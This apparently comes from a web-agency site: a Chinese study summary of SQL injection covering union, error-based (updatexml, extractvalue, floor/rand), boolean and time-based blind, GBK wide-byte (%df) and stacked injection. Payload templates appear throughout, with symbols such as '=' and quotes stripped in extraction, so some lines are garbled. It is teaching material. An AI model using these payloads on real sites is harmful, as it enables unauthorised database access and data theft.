ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

SQL注入学习总结

SQL注入学习总结 SQL注入原理攻击者通过在用户输入中插入恶意SQL代码使应用程序错误地将这些输入当作SQL命令的一部分处理或直接报错从而绕过安全限制并非法操作数据库。SQL注入的两大类型基于整型整型参数一般有id、page、age等也不需要单引号括号这些字符输入都会被当作数字执行整型会判断数据是否相等比如and 11页面正常返回数据 and 12页面无数据 / 报错基于字符型变量被单引号包裹需要单引号闭合原有引号构造的sql语句才能拼接成功。?id1 and 11 -- ?id1 and 12 --构造语句成功和11、12没关系和是否闭合成功有关系SQL注入漏洞类型联合查询注入把攻击者的查询结果拼接到正常查询语句后面一起显示出来。select * from users where id1 UNION SELECT 1,version(),3;在我们不知道字段数的时候用order by 字段查询 如下得知user表里面有6个字段。UNION特殊性UNION用于把多条 SELECT 查询结果合并成一个结果集。select 列1,列2 from A UNION select 列1,列2 from B;1. 字段数量、顺序必须完全一致两个 select 返回的列的个数必须相同列类型尽量兼容列名以第一条 select 的列名为准。--正确都是2列 select id,username from user UNION select id,name from student; --报错左边2列右边1列 select id,username from user UNION select id from student;2.UNION默认自动去重UNION ALL不去重union合并后删除重复行会做排序性能差union all直接拼接不去重奴排序速度快3.order by只能写在union 的最后面对合并后的整体排序select id,username from user UNION select id,username from student ORDER BY id DESC;4.where、group by写在各自子查询内部where 不能写在整个 union 后面过滤每个 select 自己加 where 条件。(select id,username from user where age20) UNION (select id,username from student where age20);5.union和jion的本质区别union行合并上下堆数据jion列合并左右关联报错注入适用MySQL利用数据库执行错误时把查询结果输出到报错信息中没有回显位但会打印报错信息时使用。 前提条件页面会返回 SQL 执行错误信息可以控制传入的 SQL 参数不能直接 union 查询无正常回显点。select * from users where id 1 and updatexml(1,concat(0x7e,version(),0x7e),1);一、核心原理MySQL 部分函数出错时会把函数内部执行查询得到的数据拼接到错误提示里输出到页面。 我们把想要查询的语句放在报错函数的参数里触发报错数据就随报错显示出来。如果页面不输出 MySQL 报错报错注入直接失效不能用。二、常用报错注入函数1. updatexml ()函数原型updatexml(目标xml文档, xpath表达式, 替换内容)第二个参数要求是合法 xpath 格式传入~、等非法字符触发报错。concat(0x7e,要查询的语句)0x7e是~制造非法 xpath 语法。payload 模板and updatexml(1,concat(0x7e,(select database()),0x7e),1) --注意updatexml 报错最多输出 32 位字符数据长了会截断需要 substr 截取。截取示例and updatexml(1,concat(0x7e,substr((select table_name from information_schema.tables where table_schemadatabase()),1,32),0x7e),1)--2. extractvalue ()也是 xpath 报错同样最大 32 字符限制and extractvalue(1,concat(0x7e,(select database()))) --updatexml /extractvalue 共同点xpath 报错最多返回32 个字符长数据必须用substr(xxx,偏移,长度)分段读取不能查询多行列要用limit 0,1每次取一条。3. floor (rand ()*2) 报错group by 报错注入旧版本原理group by rand()的主键重复报错。 不受 32 字符限制。 payload 模板and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a) --缺点不稳定有时不触发报错高版本 MySQL 已经修复。4. exp () 报错mysql5.5.5 及以前 exp (~ 大数) 触发数值溢出报错新版本废弃了解即可。布尔盲注页面没有数据回显也不输出数据库报错但是输入不同 SQL页面会返回两种不同状态正确页面 / 错误页面。核心思路猜一个字符一个字符爆破无法直接看到返回数据通过页面真假判断猜测的字符是否正确前提条件参数存在 SQL 注入无回显、无报错输出输入条件为真、假页面有明显不一样的响应。核心函数length(str)获取字符串长度substr(str, offset, len)截取字符串下标从 1 开始不是 0ascii(char)把字符转为 ASCII 数字盲注几乎都用 ascii 比较避免引号问题mid()等价 substrord()等价 ascii ()模板核心逻辑if( (条件), 1, 0 )payload 逻辑构造查询条件条件成立页面返回真不成立返回假。#判断数据库长度 ?id1 and length(database())5 -- #逐位猜数据库名字符 ?id1 and ascii(substr(database(),1,1))100 -- #猜表名 ?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))100 -- #猜字段名 ?id1 and ascii(substr((select column_name from information_schema.columns where table_nameuser limit 0,1),1,1))100 -- #猜数据内容 ?id1 and ascii(substr((select username from user limit 0,1),1,1))110 -- #if写法 ?id1 and if(ascii(substr(database(),1,1))100,1,0) --时间盲注既没有数据回显也没有报错回显布尔条件真假页面返回完全一模一样看不出任何页面差异。 只能依靠SQL 执行后的响应时间延迟来判断条件真假。核心逻辑if(条件为真,sleep(延迟秒数),1)如果条件成立 → 执行sleep(N)页面加载变慢产生延时如果条件不成立 → 不 sleep页面立刻返回核心函数sleep(n)休眠 n 秒最常用benchmark(次数,函数)重复执行函数制造延时部分环境过滤 sleep 时用substr(str,起始位置,长度)截取字符下标从 1 开始ascii()字符转 ASCII 数字避免引号问题if(判断条件,true执行,false执行)模板骨架if( (条件), sleep(5), 1 )条件正确就会延迟 5 秒再返回页面。完整手工 Payload 示例单引号闭合id11. 判断数据库名长度?id1 and if(length(database())5,sleep(3),1)--页面延迟 3 秒加载条件成立库名长度 5页面瞬间返回条件不成立库名≤52. 猜数据库名第 1 位字符二分法?id1 and if(ascii(substr(database(),1,1))100,sleep(3),1)--substr(database(),1,1)取第 1 个字符修改第二个数字猜第 2、3…… 位。3. 猜表名必须加 limit 0,1只取一行?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))110,sleep(3),1)--4. 猜字段名?id1 and if(ascii(substr((select column_name from information_schema.columns where table_nameuser limit 0,1),1,1))100,sleep(3),1)--5. 猜数据?id1 and if(ascii(substr((select username from user limit 0,1),1,1))120,sleep(3),1)--sleep 被过滤的替代方案 benchmark?id1 and if(ascii(substr(database(),1,1))100,benchmark(1000000,md5(test)),1)--宽字节注入核心场景网站开启addslashes 转义/ 单引号转义被自动转义成\单引号失效无法闭合SQL语句常规注入失效。根本原因数据库编码为GBK宽字节PHP页面编码为UTF-8。GBK 是双字节编码一个汉字/特殊字符占 2 个字节UTF-8 一个字符占 3 字节。绕过逻辑攻击者传入%df%服务器过滤机制自动把转义为\反斜杠编码%5c%df %5c被 MySQL GBK 编码合并识别成一个合法汉字反斜杠被“吃掉”逃逸转义单引号成功逃逸生效实现SQL闭合注入一句话口诀构造宽字符吃掉反斜杠释放单引号。1. 基础闭合绕过原始被拦截→ 转义为\绕过 payload%df解析过程 传入%df 转义后%df%5c GBK解码%df%5c 一个汉字反斜杠消失剩余 成功闭合SQL2. 完整可用注入语句Union注入示例?id%df union select 1,database(),3--报错注入示例?id%df and updatexml(1,concat(0x7e,database()),1)--3、常用宽字节字符均可吃反斜杠只要第一个字节大于0x7f即可和%5c组成GBK汉字%df、%aa、%ab、%ac、%ad等最稳定、通用%df4、宽字节注入核心特点只针对转义防护专门绕过addslashes单引号转义只针对GBK编码UTF-8无此漏洞逃逸对象是反斜杠不是单引号属于编码解析漏洞不是SQL语法漏洞堆叠注入1. 原理利用 MySQL分号可以分隔多条 SQL 的特性终止原有语句再额外执行一条全新独立 SQL。2. 利用条件参数可控、可输入分号后端支持多语句执行union/select 被过滤时常用3. 核心特点不限制字段数和原 SQL 无关独立执行不止查询可增、删、改、建表可用show/desc绕过 select 过滤部分环境执行成功但无回显隐式执行4. 常用 payload 模板?id1;show databases;--5. 缺点大部分现代框架默认禁止多语句、拦截分号成功率低权限不足也无法执行。
返回列表